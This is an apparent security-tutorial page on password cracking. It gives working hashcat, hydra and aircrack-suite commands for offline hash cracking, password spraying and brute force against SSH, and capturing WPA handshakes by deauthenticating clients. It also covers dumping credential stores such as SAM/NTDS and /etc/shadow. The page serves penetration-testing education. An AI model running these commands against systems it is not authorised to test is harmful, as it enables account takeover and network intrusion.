Techzone/Password Cracking

Password Cracking

3 min readArticle

Password cracking is the process of recovering plaintext passwords from stored credentials (hashes) or by attacking live authentication services. It's a core skill in security work — used in penetration testing, incident response (recovering access), and understanding how weak your password policy really is.

Two Main Approaches

Type Method Speed Detection Risk Tools
Offline Got hashes, crack locally Fast (GPU) None Hashcat, JtR
Online Try passwords against live service Slow (network) High (logs, lockout) Hydra

Offline Cracking Workflow

bash 
# 1. Get the hashes
# - Dump SAM/NTDS from Windows
# - Read /etc/shadow on Linux
# - Capture WiFi handshake
# - Database dump from web app

# 2. Identify hash type
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
# → MD5

# 3. Crack with Hashcat
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# 4. Check results
hashcat -m 0 hash.txt --show

Online Cracking Workflow

bash 
# 1. Enumerate valid usernames (OSINT, LinkedIn, error messages)
# 2. Choose attack type — spray (few passwords, many users) or brute (many passwords, one user)
# 3. Know lockout policy before starting

# 4. Password spray (safest)
hydra -L users.txt -p "Password123!" -t 1 -u ssh://target.com

# 5. Targeted brute force (higher lockout risk)
hydra -l admin -P rockyou.txt ssh://target.com -t 4

Password Attack Types

Attack Description When to Use
Dictionary Try words from a wordlist First attempt always
Rules Apply transformations to wordlist After basic dictionary fails
Hybrid Wordlist + mask (e.g., word + 4 digits) Common password patterns
Brute Force All combinations of charset + length Short/simple passwords
Rainbow Tables Pre-computed hash lookups Unsalted MD5/NTLM
Password Spray One password → many users Online, avoid lockout

Hash Types Quick Reference

Hash Mode Examples / Context
MD5 0 Old web apps, non-security contexts
SHA1 100 Git commits, old web apps
NTLM 1000 Windows local users
NetNTLMv2 5600 Network captures (Responder)
WPA/WPA2 22000 WiFi handshake
bcrypt 3200 Modern web apps
SHA512crypt 1800 Modern Linux
Kerberoast 13100 Active Directory

Key Wordlists

bash 
/usr/share/wordlists/rockyou.txt        # 14M - Start here
/usr/share/seclists/Passwords/          # Many curated lists

# Download
sudo apt install seclists wordlists
gunzip /usr/share/wordlists/rockyou.txt.gz

Tools

Offline

  • offline-tools/hash-cat — GPU cracking, fastest
  • offline-tools/jhon-the-ripper — CPU, great format support
  • offline-tools/rainbow-crack — Pre-computed tables

Online

  • online-tools/hydra — Multi-protocol brute forcer

Wordlist Generation

  • wordlists-art/cewl — Scrape target website
  • wordlists-art/crunch — Pattern-based generation
  • wordlists-art/wyd — Personal info mutations
  • wordlists-art/rsmangler — Mangle existing lists

Common Cracking Scenario — WPA WiFi

bash 
# 1. Capture handshake
airodump-ng -c 6 --bssid BSSID -w capture wlan0mon
aireplay-ng -0 10 -a BSSID wlan0mon

# 2. Convert to hashcat format
hcxpcapngtool -o hash.hc22000 capture-01.cap

# 3. Crack
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
hashcat -m 22000 hash.hc22000 rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Cracking Success Tips

  1. Start with rockyou.txt — it covers most weak passwords
  2. Add best64.rule — massive improvement for small effort
  3. Add custom wordlist from target's website (CeWL)
  4. Try hybrid: wordlist + mask for known patterns
  5. GPU cracking is 100-1000x faster than CPU — use it if available

Sub-pages

  • offline-tools/index — Offline cracking tools
  • online-tools/index — Online cracking tools
  • wordlists-art/index — Wordlist generation
techzonesite.comUnlock Your IT Potential